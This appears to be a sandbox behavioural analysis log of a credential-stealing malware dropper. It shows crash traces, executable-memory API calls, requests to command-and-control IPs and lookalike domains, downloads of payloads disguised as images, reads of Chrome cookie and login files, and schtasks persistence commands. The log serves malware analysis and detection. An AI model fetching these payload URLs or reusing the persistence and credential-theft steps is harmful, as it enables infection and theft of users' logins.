exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73bb34b2
registers.esp: 35122068
registers.edi: 0
registers.eax: 0
registers.ebp: 35122108
registers.edx: 32
registers.ebx: 35122412
registers.esi: 0
registers.ecx: 12192576
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73bb4f99
0x395c6ed
0x395c79a
0x395c808
0x38d0a09
0x38d1cba
0x38d1290
0x38d15cd
0x38e8939
0x38e9831
0x3916065
0x3916d41
0x391dbbe
0x391ddeb
0x397f571
0x397f654
zz_8wjnwjcywe8dtxxwfai7o+0x2424 @ 0x882424
zz_8wjnwjcywe8dtxxwfai7o+0x4658 @ 0x884658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73bb34b2
registers.esp: 35116100
registers.edi: 0
registers.eax: 0
registers.ebp: 35116140
registers.edx: 32
registers.ebx: 35116444
registers.esi: 0
registers.ecx: 12191776
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73bb4f99
0x395c6ed
0x395c79a
0x395c808
0x38d0a09
0x38d1cba
0x38d129e
0x38d15cd
0x38e8939
0x38e9831
0x3916065
0x3916d41
0x391dbbe
0x391ddeb
0x397f571
0x397f654
zz_8wjnwjcywe8dtxxwfai7o+0x2424 @ 0x882424
zz_8wjnwjcywe8dtxxwfai7o+0x4658 @ 0x884658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73bb34b2
registers.esp: 35116100
registers.edi: 0
registers.eax: 0
registers.ebp: 35116140
registers.edx: 32
registers.ebx: 35116444
registers.esi: 0
registers.ecx: 12191776
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73bb4f99
0x395c6ed
0x395c79a
0x395c808
0x38d0a09
0x38d1cba
0x38d1290
0x38d15cd
0x38e8939
0x38e9095
0x3916eb3
0x391dbbe
0x391ddeb
0x397f571
0x397f654
zz_8wjnwjcywe8dtxxwfai7o+0x2424 @ 0x882424
zz_8wjnwjcywe8dtxxwfai7o+0x4658 @ 0x884658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73bb34b2
registers.esp: 35116516
registers.edi: 0
registers.eax: 0
registers.ebp: 35116556
registers.edx: 32
registers.ebx: 35116860
registers.esi: 0
registers.ecx: 11591728
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73bb4f99
0x395c6ed
0x395c79a
0x395c808
0x38d0a09
0x38d1cba
0x38d129e
0x38d15cd
0x38e8939
0x38e9095
0x3916eb3
0x391dbbe
0x391ddeb
0x397f571
0x397f654
zz_8wjnwjcywe8dtxxwfai7o+0x2424 @ 0x882424
zz_8wjnwjcywe8dtxxwfai7o+0x4658 @ 0x884658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73bb34b2
registers.esp: 35116516
registers.edi: 0
registers.eax: 0
registers.ebp: 35116556
registers.edx: 32
registers.ebx: 35116860
registers.esi: 0
registers.ecx: 11591728
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://45.133.1.107/server.txt
suspicious_features Connection to IP address suspicious_request GET http://212.192.241.62/base/api/statistics.php
suspicious_features POST method with no referer header, Connection to IP address suspicious_request POST http://212.192.241.62/base/api/getData.php
suspicious_features Connection to IP address suspicious_request HEAD http://45.133.1.107/download/NiceProcessX64.bmp
suspicious_features Connection to IP address suspicious_request GET http://45.133.1.107/download/NiceProcessX64.bmp
suspicious_features Connection to IP address suspicious_request GET http://45.133.1.182/proxies.txt
suspicious_features POST method with no referer header, Connection to IP address suspicious_request POST http://212.192.241.62/service/communication.php
suspicious_features POST method with no referer header suspicious_request POST http://staticimg.youtuuee.com/api/?sid=2099253&key=fd52925171e83f42fc2ded8133aae222
request GET http://45.133.1.107/server.txt
request GET http://212.192.241.62/base/api/statistics.php
request POST http://212.192.241.62/base/api/getData.php
request HEAD http://45.133.1.107/download/NiceProcessX64.bmp
request GET http://45.133.1.107/download/NiceProcessX64.bmp
request GET http://45.133.1.182/proxies.txt
request POST http://212.192.241.62/service/communication.php
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request HEAD http://imgs.googlwaa.com/lqosko/p18j/cust9.exe
request HEAD http://dataonestorage.com/search_hyperfs_209.exe
request HEAD http://eguntong.com/pub33.exe
request HEAD http://www.hzradiant.com/askhelp42/askinstall42.exe
request GET http://imgs.googlwaa.com/lqosko/p18j/cust9.exe
request GET http://eguntong.com/pub33.exe
request HEAD http://www.hzradiant.com/askinstall42.exe
request GET http://www.hzradiant.com/askhelp42/askinstall42.exe
request GET http://www.hzradiant.com/askinstall42.exe
request GET http://dataonestorage.com/search_hyperfs_209.exe
request GET http://ip-api.com/json/
request GET http://staticimg.youtuuee.com/api/fbtime
request POST http://staticimg.youtuuee.com/api/?sid=2099253&key=fd52925171e83f42fc2ded8133aae222
request HEAD http://fouratlinks.com/installpartners/ShareFolder.exe
request GET http://fouratlinks.com/installpartners/ShareFolder.exe
request GET https://cdn.discordapp.com/attachments/891021838312931420/902505896159113296/PL_Client.bmp
request GET https://ipinfo.io/widget
request GET https://cdn.discordapp.com/attachments/896617596772839426/897483264074350653/Service.bmp
request GET https://cdn.discordapp.com/attachments/891006172130345095/905376099935080508/realV2_0301.bmp
request GET https://yandex.ru/
request GET https://yandex.ru/showcaptcha?cc=1&retpath=https%3A//yandex.ru/%3F_a09e8b000a282123c603bfc4a97c0306&t=2/1636005811/44697f40337ea4bdfd2de18621e47c54&u=7a6baacf-5dc3c4f0-2c5eb502-48cc2bf3&s=7586315df59045f770b5809e4db25d55
request GET https://cdn.discordapp.com/attachments/896617596772839426/899593707228135434/Cube_WW14.bmp
request GET https://cdn.discordapp.com/attachments/891006172130345095/905393686618193921/help0301.bmp
request GET https://d.gogamed.com/userhome/22/any.exe
request GET https://f.gogamef.com/userhome/22/23ce6573d0b61d1c6b7a3a8c1cdf07b2.exe
request GET https://el5en1977834657.s3.ap-south-1.amazonaws.com/kak.exe
request POST http://212.192.241.62/base/api/getData.php
request POST http://212.192.241.62/service/communication.php
request POST http://staticimg.youtuuee.com/api/?sid=2099253&key=fd52925171e83f42fc2ded8133aae222
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2316
region_size: 1351680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x037e0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2592
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 507904
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a5e000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2592
region_size: 876544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02260000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2796
region_size: 1351680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x038c0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2300
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 159744
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a7e000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2300
region_size: 278528
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2384
region_size: 32768
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2384
region_size: 36864
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 40960
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00401000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 385024
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0040f000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 536
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01e20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 851968
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000006c0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000710000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1ed1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef214e000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef214e000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef214f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef214f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef214f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef214f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef214f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef214f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef214f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef214f000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2150000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2150000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2150000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2150000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2150000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2151000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2151000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2151000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef2151000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 500
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef214e000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 589824
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff000ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00022000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff000fa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00122000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff000fd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff0003c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00170000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 500
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007ff00034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
description Zz_8WJnWJcYwE8DTXxWfai7o.exe tried to sleep 193 seconds, actually delayed analysis time by 193 seconds
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 36\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 65\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 62\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 3\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 24\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 75\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 98\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 28\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 93\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 92\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 97\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 47\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 74\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 21\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 83\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 17\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 69\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 50\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 57\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 63\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 66\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 34\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 80\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 84\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 77\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 64\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 8\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 31\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 4\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 35\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 6\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 72\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 13\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 53\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 23\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 25\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 61\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 82\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 7\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 12\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 95\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 22\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 70\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 73\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 18\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 55\Cookies
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Profile 49\Cookies
name RT_ICON language LANG_NEUTRAL filetype data sublanguage SUBLANG_ARABIC_OMAN offset 0x0002f550 size 0x000002e8
name RT_ICON language LANG_NEUTRAL filetype data sublanguage SUBLANG_ARABIC_OMAN offset 0x0002f550 size 0x000002e8
name RT_GROUP_ICON language LANG_NEUTRAL filetype data sublanguage SUBLANG_ARABIC_OMAN offset 0x0002f838 size 0x00000022
name RT_VERSION language LANG_NEUTRAL filetype data sublanguage SUBLANG_ARABIC_OMAN offset 0x0002f160 size 0x000002c4
domain ipinfo.io
domain ip-api.com
file C:\Users\test22\Pictures\Adobe Films\82YG_xkSvDww7zcrD21MLhC8.exe
file C:\Users\test22\AppData\Local\Temp\pidHTSIGEi8DrAmaYu9K8ghN89.dll
file C:\Users\test22\Pictures\Adobe Films\egqRAdMP6vVHIbhfUato690f.exe
file C:\Users\test22\Documents\T9aZunTSaNJLBVfIkgF5mtQo.dll
file C:\Users\test22\AppData\Local\Temp\is-OTC82.tmp\_isetup\_shfoldr.dll
file C:\Users\test22\Pictures\Adobe Films\4dB197_1l7OerQHV9HHywWV_.exe
file C:\Users\test22\Pictures\Adobe Films\01NWJ3EqrrXXQcofclOmpgme.exe
file C:\Users\test22\Documents\Zz_8WJnWJcYwE8DTXxWfai7o.exe
file C:\Users\test22\Pictures\Adobe Films\xMRgMWwvt1Js2S4aChs4n12H.exe
file C:\Users\test22\Pictures\Adobe Films\d78LyqpVrYNmErU4VFpgMs_C.exe
file C:\Users\test22\AppData\Local\Temp\is-OTC82.tmp\DYbALA.exe
file C:\Users\test22\AppData\Local\Temp\is-OTC82.tmp\idp.dll
file C:\Users\test22\Pictures\Adobe Films\301tY1t7qg8_zDCV75DGJBHH.exe
file C:\Users\test22\Pictures\Adobe Films\xETOXMkcQToHPFfFUFdC0rZ7.exe
file C:\Users\test22\Pictures\Adobe Films\Nrsy5LhyZqW1S2cTgMnNCWa9.exe
file C:\Users\test22\Pictures\Adobe Films\Ehb3TX09sP7PC0g9ewmGExxA.exe
cmdline schtasks /create /f /RU "test22" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
cmdline schtasks /create /f /RU "test22" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
file C:\Users\test22\Pictures\Adobe Films\egqRAdMP6vVHIbhfUato690f.exe
file C:\Users\test22\Pictures\Adobe Films\Ehb3TX09sP7PC0g9ewmGExxA.exe
file C:\Users\test22\Pictures\Adobe Films\01NWJ3EqrrXXQcofclOmpgme.exe
